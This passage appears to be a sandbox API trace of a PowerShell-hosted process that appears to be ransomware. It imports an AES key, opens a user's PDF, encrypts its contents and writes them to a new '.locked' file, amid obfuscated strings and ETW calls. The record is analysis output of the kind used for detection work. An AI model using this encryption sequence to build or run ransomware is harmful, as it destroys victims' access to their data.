(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0131.665] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0131.665] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0131.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0131.665] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0131.665] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0131.665] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0131.665] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.665] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0131.665] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0131.666] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0131.666] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0131.666] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0131.666] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0131.666] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0131.666] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.666] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0131.667] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0131.667] SystemFunction041 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.667] SystemFunction040 (in: Memory=0x4383a54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383a54) returned 0x0 [0131.667] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.667] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.667] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.667] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.667] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.667] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.668] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.668] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.668] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.668] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.668] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0131.670] CryptAcquireContextW (in: phProv=0x99ae5d0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae5d0*=0x4396570) returned 1 [0131.671] CryptImportKey (in: hProv=0x4396570, pbData=0x6aad7f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99ae9ac | out: phKey=0x99ae9ac*=0x8e84d38) returned 1 [0131.671] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.672] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.672] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.672] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.672] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.674] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0131.674] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf")) returned 0x20 [0131.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.675] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.675] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.675] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.675] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.675] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.677] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0131.677] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0131.677] GetFileType (hFile=0x874) returned 0x1 [0131.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0131.678] GetFileType (hFile=0x874) returned 0x1 [0131.678] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.678] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0131.678] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.678] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.678] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.678] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked", lpFilePart=0x0) returned 0x56 [0131.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0131.678] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\x2judm7ui3bf1ica73d\\rck4e.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0131.679] GetFileType (hFile=0x868) returned 0x1 [0131.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0131.679] GetFileType (hFile=0x868) returned 0x1 [0131.679] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.679] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x6ac8308 | out: pbBuffer=0x6ac8308) returned 1 [0131.682] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.682] CryptDuplicateKey (in: hKey=0x8e84d38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae744 | out: phKey=0x99ae744*=0x8e84bf8) returned 1 [0131.682] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.682] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x4, pbData=0x6ac97a4*=0x1, dwFlags=0x0) returned 1 [0131.682] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x1, pbData=0x6ac9770, dwFlags=0x0) returned 1 [0131.682] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.682] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.682] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.682] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.683] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.683] ReadFile (in: hFile=0x874, lpBuffer=0x6acce40, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae750, lpOverlapped=0x0 | out: lpBuffer=0x6acce40*, lpNumberOfBytesRead=0x99ae750*=0x4c88, lpOverlapped=0x0) returned 1 [0131.683] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae0e4c*, pdwDataLen=0x99ae744*=0x4c80, dwBufLen=0x4c80 | out: pbData=0x6ae0e4c*, pdwDataLen=0x99ae744*=0x4c80) returned 1 [0131.683] WriteFile (in: hFile=0x868, lpBuffer=0x6ac8490*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae728, lpOverlapped=0x0 | out: lpBuffer=0x6ac8490*, lpNumberOfBytesWritten=0x99ae728*=0x1000, lpOverlapped=0x0) returned 1 [0131.684] WriteFile (in: hFile=0x868, lpBuffer=0x6ae1e38*, nNumberOfBytesToWrite=0x3c94, lpNumberOfBytesWritten=0x99ae728, lpOverlapped=0x0 | out: lpBuffer=0x6ae1e38*, lpNumberOfBytesWritten=0x99ae728*=0x3c94, lpOverlapped=0x0) returned 1 [0131.685] ReadFile (in: hFile=0x874, lpBuffer=0x6acce40, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae750, lpOverlapped=0x0 | out: lpBuffer=0x6acce40*, lpNumberOfBytesRead=0x99ae750*=0x0, lpOverlapped=0x0) returned 1 [0131.685] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae5b40*, pdwDataLen=0x99ae79c*=0x10, dwBufLen=0x10 | out: pbData=0x6ae5b40*, pdwDataLen=0x99ae79c*=0x10) returned 1 [0131.685] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ae5b74*, pdwDataLen=0x99ae7a4*=0x0, dwBufLen=0x10 | out: pbData=0x6ae5b74*, pdwDataLen=0x99ae7a4*=0x10) returned 1 [0131.685] WriteFile (in: hFile=0x868, lpBuffer=0x6ac8490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae774, lpOverlapped=0x0 | out: lpBuffer=0x6ac8490*, lpNumberOfBytesWritten=0x99ae774*=0x10, lpOverlapped=0x0) returned 1 [0131.685] CloseHandle (hObject=0x868) returned 1 [0131.687] CloseHandle (hObject=0x874) returned 1 [0131.687] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", nBufferLength=0x105, lpBuffer=0x99ae244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\X2jUDm7UI3Bf1ICa73D\\RCk4e.pdf", lpFilePart=0x0) returned 0x4f [0131.687] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.687] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.687] 